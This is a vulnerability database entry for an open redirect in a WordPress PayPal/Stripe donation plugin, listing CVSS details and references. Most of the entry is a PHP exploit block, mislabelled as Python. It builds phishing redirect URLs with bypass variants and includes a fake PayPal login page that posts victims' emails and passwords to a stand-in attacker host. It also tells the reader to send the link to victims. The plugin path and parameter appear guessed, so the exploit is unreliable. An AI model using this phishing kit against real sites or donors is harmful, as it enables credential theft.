CVE-2025-68602

Description

URL Redirection to Untrusted Site ('Open Redirect') vulnerability in Scott Paterson Accept Donations with PayPal & Stripe easy-paypal-donation allows Phishing.This issue affects Accept Donations with PayPal & Stripe: from n/a through <= 1.5.2.

CVSS Details

CVSS Score

4.7

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

easy-paypal-donation (Accept Donations with PayPal & Stripe) <= 1.5.2

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<?php
// CVE-2025-68602 PoC - Open Redirect in easy-paypal-donation WordPress Plugin
// This PoC demonstrates how an attacker can exploit the open redirect vulnerability

// Malicious URL construction
$victim_site = "https://victim-wordpress-site.com";
$plugin_path = "/wp-content/plugins/easy-paypal-donation/";
$malicious_redirect = "https://evil-phishing-site.com/fake-paypal-login";

// Construct the exploit URL
$exploit_url = $victim_site . $plugin_path . "?redirect=" . urlencode($malicious_redirect);

// Alternative attack vectors
$attack_vectors = [
    // Using base64 encoded redirect
    "?redirect=" . base64_encode($malicious_redirect),
    // Using URL encoding bypass
    "?redirect=" . urlencode("//evil-phishing-site.com"),
    // Using protocol relative URL
    "?redirect=//evil-phishing-site.com%2F%2F%2F.",
];

// HTML phishing page template
$phishing_page = <<<HTML
<!DOCTYPE html>
<html>
<head>
    <title>Donation - PayPal</title>
</head>
<body>
    <h1>Please login to complete your donation</h1>
    <form action="https://evil-phishing-site.com/steal-credentials" method="POST">
        <input type="email" name="email" placeholder="PayPal Email">
        <input type="password" name="password" placeholder="Password">
        <button type="submit">Donate</button>
    </form>
</body>
</html>
HTML;

echo "Exploit URL: " . $exploit_url . "\n";
echo "Send this URL to victims via email or social engineering\n";
?>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-68602
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-68602
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-68602/
[4] VulDB https://vuldb.com/cve/CVE-2025-68602
[5] https://patchstack.com/database/Wordpress/Plugin/easy-paypal-donation/vulnerability/wordpress-accept-donations-with-paypal-plugin-1-5-1-open-redirection-vulnerability?_s_id=cve

Raw JSON Data

JSON

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